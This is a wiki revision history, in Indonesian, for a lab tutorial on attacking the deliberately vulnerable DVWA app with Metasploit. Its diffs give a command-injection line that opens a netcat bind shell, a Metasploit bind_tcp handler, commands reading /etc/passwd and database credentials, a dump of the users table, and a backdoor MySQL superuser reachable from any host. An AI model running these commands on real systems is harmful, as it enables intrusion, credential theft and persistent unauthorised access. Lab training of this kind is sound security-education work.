DVWA: Exploit menggunakan Metasploit - Revision history

Onnowpurbo: /* Gunakan metasploit */

2017-05-03T21:18:48Z

Gunakan metasploit

Onnowpurbo: /* Gunakan metasploit */

2017-05-03T21:14:01Z

Gunakan metasploit

Onnowpurbo: /* Siapkan NetCat */

2017-05-03T21:07:34Z

Siapkan NetCat

Onnowpurbo: /* Gunakan metasploit */

2017-05-03T21:06:56Z

Gunakan metasploit

Onnowpurbo: /* Gunakan metasploit */

2017-05-03T21:06:38Z

Gunakan metasploit

Onnowpurbo: /* Gunakan metasploit */

2017-05-03T20:59:30Z

Gunakan metasploit

Onnowpurbo at 20:54, 3 May 2017

2017-05-03T20:54:35Z

Onnowpurbo: /* Gunakan metasploit */

2017-03-31T12:45:05Z

Gunakan metasploit

Onnowpurbo at 03:07, 15 February 2016

2016-02-15T03:07:16Z

Onnowpurbo: New page: ==Persiapan== Masuk ke DVWA, misalnya http://192.168.0.80/DVWA-1.9 username admin password password Klik DVWA Security > Security Level Low > Submit

2016-02-15T02:50:34Z

New page: ==Persiapan== Masuk ke DVWA, misalnya http://192.168.0.80/DVWA-1.9 username admin password password Klik DVWA Security > Security Level Low > Submit

New page

==Persiapan==

Masuk ke DVWA, misalnya

http://192.168.0.80/DVWA-1.9

username admin
password password

Klik

DVWA Security > Security Level Low > Submit

@@ Line 85: / Line 85: @@
   echo "select * from mysql.user;" | mysql -uroot -p123456
-Perintah diatas akan membuat user db_hacker yang bisa akses dari mana saja, dengan password abc123 ke MySQL :( ..
+Perintah diatas akan membuat user db_hacker yang bisa akses dari mana saja (%), dengan password abc123 ke MySQL :( ..
 ==Cek dari console Kali Linux==

@@ Line 84: / Line 84: @@
   echo "use mysql; GRANT ALL PRIVILEGES ON *.* TO 'db_hacker'@'%' IDENTIFIED BY 'abc123' WITH GRANT OPTION;" | mysql -uroot -p123456
   echo "select * from mysql.user;" | mysql -uroot -p123456
 ==Referensi==
 * https://computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson4/index.html

← Older revision		Revision as of 21:07, 3 May 2017
Line 22:		Line 22:

	Dimana 192.168.0.100 adalah IP address server DVWA		Dimana 192.168.0.100 adalah IP address server DVWA
		+
		+	Teknik ini akan membuka server pada port 4444 menggunakan NC ....
		+	Ini tempat masuk bagi Metasploit.

	==Gunakan metasploit==		==Gunakan metasploit==

@@ Line 77: / Line 77: @@
   echo "use mysql; show tables;" | mysql -uroot -p123456
-Ini bagian paling berbahata, buat user MySQL yang baru
+Ini bagian paling berbahaya, buat user MySQL yang baru
   echo "use mysql; GRANT ALL PRIVILEGES ON *.* TO 'db_hacker'@'%' IDENTIFIED BY 'abc123' WITH GRANT OPTION;" | mysql -uroot -p123456

@@ Line 55: / Line 55: @@
 Cari password database
-  ls -l /var/www/html/dvwa/config
+  ls -l /var/www/html/DVWA-1.9/config
-  cat /var/www/html/dvwa/config/config.inc.php
+  cat /var/www/html/DVWA-1.9/config/config.inc.php
-Explorasi database
+Explorasi database, asumsi username MySQL root, password 123456
-  echo "show databases;" | mysql -uroot -pdvwaPASSWORD
+  echo "show databases;" | mysql -uroot -p123456
-  echo "use dvwa; show tables;" | mysql -uroot -pdvwaPASSWORD
+  echo "use dvwa; show tables;" | mysql -uroot -p123456
-  echo "use dvwa; desc users;" | mysql -uroot -pdvwaPASSWORD
+  echo "use dvwa; desc users;" | mysql -uroot -p123456
-  echo "select * from dvwa.users;" | mysql -uroot -pdvwaPASSWORD
+  echo "select * from dvwa.users;" | mysql -uroot -p123456
 Buat user baru
-  echo "insert into dvwa.users values ('6','John','Gray','jgray',MD5('abc123'),'NA');" | mysql -uroot -pdvwaPASSWORD
+  echo "insert into dvwa.users values ('6','John','Gray','jgray',MD5('abc123'),'NA');" | mysql -uroot -p123456
-  echo "select * from dvwa.users;" | mysql -uroot -pdvwaPASSWORD
+  echo "select * from dvwa.users;" | mysql -uroot -p123456
 Lihat informasi tabel MySQL
-  echo "show databases;" | mysql -uroot -pdvwaPASSWORD
+  echo "show databases;" | mysql -uroot -p123456
-  echo "use mysql; show tables;" | mysql -uroot -pdvwaPASSWORD
+  echo "use mysql; show tables;" | mysql -uroot -p123456
-Buat user MySQL yang baru
+Ini bagian paling berbahata, buat user MySQL yang baru
-  echo "use mysql; GRANT ALL PRIVILEGES ON *.* TO 'db_hacker'@'%' IDENTIFIED BY 'abc123' WITH GRANT OPTION;" | mysql -uroot -pdvwaPASSWORD
+  echo "use mysql; GRANT ALL PRIVILEGES ON *.* TO 'db_hacker'@'%' IDENTIFIED BY 'abc123' WITH GRANT OPTION;" | mysql -uroot -p123456
-  echo "select * from mysql.user;" | mysql -uroot -pdvwaPASSWORD
+  echo "select * from mysql.user;" | mysql -uroot -p123456
 ==Referensi==
 * https://computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson4/index.html

@@ Line 41: / Line 41: @@
   whoami
-  grep apache /etc/passwd
+  grep www-data /etc/passwd
-  grep apache /etc/group
+  grep www-data /etc/group

← Older revision		Revision as of 20:54, 3 May 2017
Line 14:		Line 14:
	DVWA Security > Security Level Low > Submit		DVWA Security > Security Level Low > Submit

		+
		+	==Siapkan NetCat==
		+
		+	Masuk ke DVWA Command Injection, lakukan
		+
		+	192.168.0.100;mkfifo /tmp/pipe;sh /tmp/pipe \| nc -l 4444 > /tmp/pipe
		+
		+	Dimana 192.168.0.100 adalah IP address server DVWA

	==Gunakan metasploit==		==Gunakan metasploit==

@@ Line 27: / Line 27: @@
   set PAYLOAD linux/x86/shell/bind_tcp
   show options
-  set RHOST 192.168.0.80
+  set RHOST 192.168.0.100
   exploit
@@ Line 73: / Line 73: @@
   echo "use mysql; GRANT ALL PRIVILEGES ON *.* TO 'db_hacker'@'%' IDENTIFIED BY 'abc123' WITH GRANT OPTION;" | mysql -uroot -pdvwaPASSWORD
   echo "select * from mysql.user;" | mysql -uroot -pdvwaPASSWORD
 ==Referensi==
 * https://computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson4/index.html

← Older revision		Revision as of 03:07, 15 February 2016
Line 1:		Line 1:
		+	Sumber: https://computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson4/index.html
		+
	==Persiapan==		==Persiapan==

Line 11:		Line 13:

	DVWA Security > Security Level Low > Submit		DVWA Security > Security Level Low > Submit
		+
		+
		+	==Gunakan metasploit==
		+
		+	Jalankan
		+
		+	msfconsole thankyou
		+
		+	Lakukan
		+
		+
		+	use multi/handler
		+	set PAYLOAD linux/x86/shell/bind_tcp
		+	show options
		+	set RHOST 192.168.0.80
		+	exploit
		+
		+	Cek password
		+
		+	whoami
		+	grep apache /etc/passwd
		+	grep apache /etc/group
		+
		+
		+	Cek Password melalui konfigurasi Web
		+
		+	ps -eaf \| grep http
		+	pwd
		+	ls -ld /var/www/html
		+	ls -ld /var/www/html/DVWA*
		+	ls -l /var/www/html/DVWA*
		+
		+	Cari password database
		+
		+	ls -l /var/www/html/dvwa/config
		+	cat /var/www/html/dvwa/config/config.inc.php
		+
		+	Explorasi database
		+
		+
		+	echo "show databases;" \| mysql -uroot -pdvwaPASSWORD
		+	echo "use dvwa; show tables;" \| mysql -uroot -pdvwaPASSWORD
		+	echo "use dvwa; desc users;" \| mysql -uroot -pdvwaPASSWORD
		+	echo "select * from dvwa.users;" \| mysql -uroot -pdvwaPASSWORD
		+
		+	Buat user baru
		+
		+	echo "insert into dvwa.users values ('6','John','Gray','jgray',MD5('abc123'),'NA');" \| mysql -uroot -pdvwaPASSWORD
		+	echo "select * from dvwa.users;" \| mysql -uroot -pdvwaPASSWORD
		+
		+	Lihat informasi tabel MySQL
		+
		+
		+	echo "show databases;" \| mysql -uroot -pdvwaPASSWORD
		+	echo "use mysql; show tables;" \| mysql -uroot -pdvwaPASSWORD
		+
		+	Buat user MySQL yang baru
		+
		+	echo "use mysql; GRANT ALL PRIVILEGES ON . TO 'db_hacker'@'%' IDENTIFIED BY 'abc123' WITH GRANT OPTION;" \| mysql -uroot -pdvwaPASSWORD
		+	echo "select * from mysql.user;" \| mysql -uroot -pdvwaPASSWORD
		+
		+
		+
		+
		+
		+	==Referensi==
		+
		+	* https://computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson4/index.html